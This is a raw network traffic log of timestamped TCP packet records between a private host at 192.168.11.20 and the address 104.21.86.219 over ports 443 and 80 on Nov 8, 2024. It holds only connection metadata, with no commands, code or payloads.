                                                                                                                                          Nov 8, 2024 11:27:49.299659967 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.299666882 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.299709082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299709082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299724102 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.299806118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299865961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299880028 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.299913883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299913883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.299968004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300010920 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300060987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300060987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300060987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300158978 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300173998 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.300208092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300307989 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300307989 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300355911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300405979 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300405979 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300405979 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300457001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300550938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300551891 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300569057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.300648928 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300698042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300698042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300748110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300800085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300846100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300899029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300899029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.300996065 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438290119 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438316107 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438327074 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438337088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438494921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438494921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438545942 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438621044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438621044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438656092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438734055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438747883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438755035 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438755989 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438761950 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.438785076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438785076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438863039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438863039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438968897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.438968897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439023018 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439069033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439069033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439084053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.439117908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439117908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439166069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439182043 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.439217091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439217091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439217091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439217091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439312935 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439363003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439363003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439460993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439480066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.439544916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439544916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439637899 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439637899 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439735889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439735889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439749002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.439834118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439834118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439882040 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439932108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439932108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439932108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439932108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439980984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.439980984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440030098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440032959 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.440128088 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440128088 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440129042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440222979 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.440224886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440233946 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.440294027 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440435886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440515041 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440515041 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440522909 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.440563917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440613031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440613031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440661907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440661907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440711021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440711021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440758944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440758944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440768003 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.440857887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440857887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440956116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.440956116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441004992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441004992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441015005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.441054106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441102028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441150904 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441250086 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441250086 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441250086 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441298962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441298962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441298962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441308022 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.441348076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441395998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441446066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441446066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441446066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441494942 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441494942 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441544056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441544056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441550970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.441641092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441641092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441740036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441740036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441837072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441837072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441935062 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441987038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441987038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.441996098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:49.442087889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442136049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442184925 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442234039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442282915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442332029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442388058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442388058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442491055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442491055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442595005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442595005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442642927 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442742109 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442742109 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442854881 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442854881 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442903996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442903996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442953110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.442953110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443001986 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443001986 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443049908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443147898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443147898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:49.443197012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:50.543589115 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:50.687038898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:51.016374111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.635876894 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.635902882 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:53.636090994 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.636178017 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.636185884 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:53.853230953 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:53.854147911 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.854198933 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:53.854406118 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:53.854470968 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.657850027 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.658041954 CET44349730104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.658243895 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.658377886 CET49730443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.675681114 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.675761938 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.676034927 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.676162958 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.676194906 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.896378994 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.897248030 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.897305012 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:54.897573948 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:54.897629023 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:55.716934919 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:55.717096090 CET44349731104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:55.717212915 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:55.717468977 CET49731443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.635360956 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.635407925 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.635564089 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.635710955 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.635725021 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.727310896 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.847904921 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.848162889 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.848328114 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.855566978 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.856504917 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.856525898 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.856672049 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:57.856700897 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:57.951333046 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.563992023 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.564028025 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.564090967 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.564173937 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:58.606599092 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:58.711922884 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.712033033 CET44349732104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:58.712182999 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:58.712390900 CET49732443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.195342064 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.195413113 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:27.195622921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.220979929 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.221021891 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:27.440464020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:27.441126108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.442162991 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.442178965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:27.442512989 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:27.476140976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:27.520104885 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322164059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322205067 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322237968 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322288990 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322360039 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.322377920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.322555065 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.365808964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.555867910 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.555929899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556119919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.556133032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556318998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556337118 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556509972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.556521893 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556780100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.556967020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.556998014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.557172060 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.557183027 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.600145102 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.811863899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812155008 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812268972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812511921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812580109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812625885 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.812634945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.812699080 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.812794924 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.812853098 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.813035965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.813034058 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.813105106 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:28.813139915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:28.813325882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.041866064 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.041944981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.041979074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042012930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042083025 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042105913 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042181969 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042197943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042267084 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042351007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042402983 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042409897 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042449951 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042603016 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042788982 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.042834044 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.042844057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.043003082 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.295298100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.295483112 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.295509100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.295624018 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.295789003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.295842886 CET49734443192.168.11.20104.21.86.219
